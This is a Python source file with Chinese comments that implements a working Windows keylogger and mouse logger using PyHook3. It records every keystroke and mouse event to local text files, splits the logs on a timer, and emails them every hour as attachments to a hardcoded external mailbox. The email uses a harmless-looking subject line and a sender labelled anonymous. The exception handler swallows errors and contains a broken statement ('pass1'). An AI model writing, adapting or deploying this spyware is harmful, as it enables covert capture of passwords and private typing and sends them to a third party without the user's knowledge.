#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2018.11.21 17:41
# @Author : By Joker
# @File : listening_key_04
# @Software: PyCharm
import os
import smtplib
import time
import threading
from email.header import Header
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.utils import make_msgid, formatdate

import PyHook3
import pythoncom
from past.builtins import xrange

index = 0  # 用于标记文件名,线程共享此变量


class Listening(threading.Thread):
    """
    用于鼠标,键盘事件的监听
    """

    def __init__(self):
        threading.Thread.__init__(self)

    def on_mouse_event(self, event):
        """
        监听鼠标事件,并将监听信息写入文件
        :param event:
        :return: 返回True,以便将事件传给其他处理程序
                  注意, 若返回False, 则鼠标事件将被全部拦截
                  导致鼠标失去响应
        """
        self.write_listening_key_mouse(event)

        return True

    def on_keyboard_event(self, event):
        """
        监听键盘事件,并将监听信息写入文件
        :param event:
        :return: 同鼠标监听事件的返回值
        """
        self.write_listening_key(event)

        return True

    def write_listening_key_mouse(self, event):
        """
        将监听的鼠标信息写入文件
        :param event:
        :return:
        """
        filename = './mouse.txt'
        if index != 0:
            filename = './mouse' + '_' + str(index) + '.txt'
        with open(filename, 'a+') as f:
            f.write(
                '事件: ' + event.MessageName + ', 时间: ' + self.format_time() + ', 窗口信息: '
                + str(event.Window) + ', 滚轮: ' + str(event.Wheel) + '\r\n')

    def write_listening_key(self, event):
        """
        将监听的键盘信息写入文件
        :param event:
        :return:
        """
        with open('./keyboard.txt', 'a+') as f:
            f.write(
                '事件: ' + event.MessageName + ', 时间: ' + self.format_time() + ', 窗口信息: '
                + str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')

    @staticmethod
    def format_time():
        """
        返回当前指定格式的日期
        :return:
        """
        now = int(time.time())
        time_array = time.localtime(now)

        return time.strftime('%Y-%m-%d %H:%M:%S', time_array)

    def main(self):
        # 创建监听对象
        manager = PyHook3.HookManager()

        # 监听所有键盘事件
        manager.KeyDown = self.on_keyboard_event
        # 设置键盘监听
        manager.HookKeyboard()

        # 监听鼠标事件
        manager.MouseAll = self.on_mouse_event
        # 设置鼠标监听
        manager.HookMouse()

        # 循环监听, 若不手动关闭, 程序将一直处于监听状态
        pythoncom.PumpMessages()

    def run(self):
        self.main()


class FileHandle(threading.Thread):
    """
    用于分割监听信息
    """

    def __init__(self, filename, size):
        self.fileName = filename  # 文件名,不包含后缀
        self.Size = size  # 固定切割行数(若给定100,实际内容是50,还有50是空行)
        threading.Thread.__init__(self)

    def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f:
            global index
            while 1:
                index += 1
                try:
                    with open(self.fileName + '_%d.txt' % index, 'w') as temp:
                        for _ in xrange(self.Size):
                            temp.write(f.__next__())
                except StopIteration:
                    break

    def timer_split_file(self):
        """
        超过指定行数则分割
        :return:
        """
        if os.path.exists(self.fileName + '.txt'):
            with open(self.fileName + '.txt', 'r') as f:
                lines = f.readlines()
                if lines.__len__() > self.Size:
                    self.split_file()

    def start_timer_split_file(self):
        """
        启动定时分割,每10分钟分割一次
        :return:
        """
        while 1:
            self.timer_split_file()
            time.sleep(60 * 60)

    def run(self):
        self.start_timer_split_file()


class SendEmail(threading.Thread):
    """
    将监听信息以邮件形式发送
    """

    def __init__(self):
        threading.Thread.__init__(self)

    @staticmethod
    def send_email():
        host = 'smtp.163.com'  # 设置邮件服务器
        user = 'svip22@163.com'  # 发送者
        password = 's121'  # 密码

        sender = 'svip@163.com'  # 匿名发送
        receiver = ['41@qq.com']  # 接收邮件

        # 构造邮件对象
        msg = MIMEMultipart('alternative')
        msg['From'] = sender
        msg['To'] = ";".join(receiver)
        msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8')
        msg['Message-id'] = make_msgid()
        msg['Date'] = formatdate()
        message = MIMEText('this is today content', 'plain', 'utf-8')
        msg.attach(message)

        # 构造附件对象,发送鼠标监听信息
        if index != 0:
            for num in range(1, index + 1):
                mouse_file_name = './mouse_' + str(num) + '.txt'
                mouse_file = open(mouse_file_name, 'rb').read()
                mouse_send = MIMEText(mouse_file, 'base64', 'utf-8')
                mouse_send['Content-Type'] = 'application/octet-stream'
                mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name
                msg.attach(mouse_send)

        # 发送键盘监听信息
        key_file = open('./keyboard.txt', 'rb').read()
        key_send = MIMEText(key_file, 'base64', 'utf-8')
        key_send['Content-Type'] = 'application/octet-stream'
        key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt'
        msg.attach(key_send)

        # 发送邮件
        try:
            mail = smtplib.SMTP_SSL(host, 465)
            mail.login(user, password)
            mail.sendmail(sender, receiver, msg.as_string())
            mail.quit()
        except smtplib.SMTPException:
            # 异常信息不捕获
            pass1

    def run(self):
        """
        定时发送邮件,与分割间隔相同的时间
        :return:
        """
        while 1:
            if index != 0:
                self.send_email()
            time.sleep(60 * 60)


if __name__ == '__main__':
    """
    这里需要用到多线程,
    一个线程执行监听,一个线程执行分割,一个线程发送邮件,
    由于监听是一直运行的,只用一个线程,分割是不会执行的
    """
    # 监听
    listening = Listening()
    listening.start()

    # 分割信息
    file_handle = FileHandle('./mouse', 90000)  # 30000行内容的大小约为1M
    file_handle.start()

    # 发送邮件
    send_email = SendEmail()
    send_email.start()
